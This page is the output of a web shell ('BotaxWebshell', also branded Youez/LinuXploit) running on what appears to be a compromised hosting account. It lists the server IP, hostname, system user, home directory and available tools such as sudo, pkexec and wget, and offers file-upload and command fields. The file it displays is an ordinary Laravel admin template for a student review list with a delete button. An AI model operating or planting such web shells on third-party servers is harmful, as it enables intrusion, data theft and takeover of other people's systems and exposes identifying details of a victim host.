BotaxWebshell
Server IP : 68.178.172.28  /  Your IP : 216.73.216.26
Web Server : Apache
System : Linux 28.172.178.68.host.secureserver.net 4.18.0-553.89.1.el8_10.x86_64 #1 SMP Mon Dec 8 03:53:08 EST 2025 x86_64
User : kiskarnal ( 1003)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : ON |  Pkexec : ON
Directory :  /home/kiskarnal/public_html/resources/views/admin/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/kiskarnal/public_html/resources/views/admin/sip_review_list.blade.php
@include('admin.includes.header');
<body>
    
    <main id="main" class="main">

    <div class="pagetitle">
      <h1>SIP Review List</h1>
        <nav>
            <ol class="breadcrumb">
                <li class="breadcrumb-item"><a href="{{url('/')}}">Home</a></li>
                <li class="breadcrumb-item active">SIP Review List</li>
            </ol>
        </nav>
    </div><!-- End Page Title -->

    <section class="section">
      <div class="row">
        <div class="col-lg-12">

          <div class="card">
            <div class="card-body">
              <h5 class="card-title">SIP Review List</h5>
              <!-- Table with stripped rows -->
                <div class="table-responsive">
                   <table class="table datatable table-striped">
                        <thead>
                          <tr>
                            <th>#</th>
                            <th>Image</th>
                            <th>Student Name</th>
                            <th>Class Name</th>
                            <th>Description</th>
                            <th>Actions</th>
                          </tr>
                        </thead>
                        <tbody> 
                        @foreach($row as $data)
                          <tr>
                            <th>{{$loop->index + 1}}</th>
                            <td><img src="{{asset('images/'.$data->image)}}" style="width:100px;height:100px;"></td>
                            <td>{{$data->name}}</td>
                            <td>{{$data->class}}</td>
                            <td>{{$data->description}}</td>
                            <td>
                                <div class="action-btns">
                                   <a href="{{url('admin/sip_review?q='.$data->id)}}" class="btn btn-sm btn-primary">Edit</a>
                                   <a href="#" class="btn btn-sm btn-danger delete" row-id="{{$data->id}}">Delete</a>
                                </div>
                            </td>
                          </tr>
                          @endforeach
                        </tbody>
                      </table>
                </div>
              <!-- End Table with stripped rows -->

            </div>
          </div>

        </div>
      </div>
    </section>

  </main><!-- End #main -->
    
</body>
  @include('admin.includes.footer');
  <script>
        $(document).ready(function(){
      // Delete 
   $('body').on('click','.delete',function(e){
        var el = this;
        // Delete id
        var deleteid = $(this).attr('row-id');
        // Confirm box
        bootbox.confirm("Do you really want to delete record?", function(result) {
            
           if(result){
             // AJAX Request
             $.ajax({
               url: $('#admin_base_url').val()+'/delete-review/'+deleteid,
               type: 'GET',
               success: function(response){
    
                 // Removing row from HTML Table
                 if(response == 1){
                     
                		$(el).closest('tr').css('background','tomato');
                           $(el).closest('tr').fadeOut(800,function(){
                		   $(this).remove();
                		});
                		
            	     }else{
        		           bootbox.alert('Record not deleted.');
        	          }
    
               }
             });
           }
     
        });
 
  });
});
 </script>

Youez - 2016 - github.com/yon3zu
LinuXploit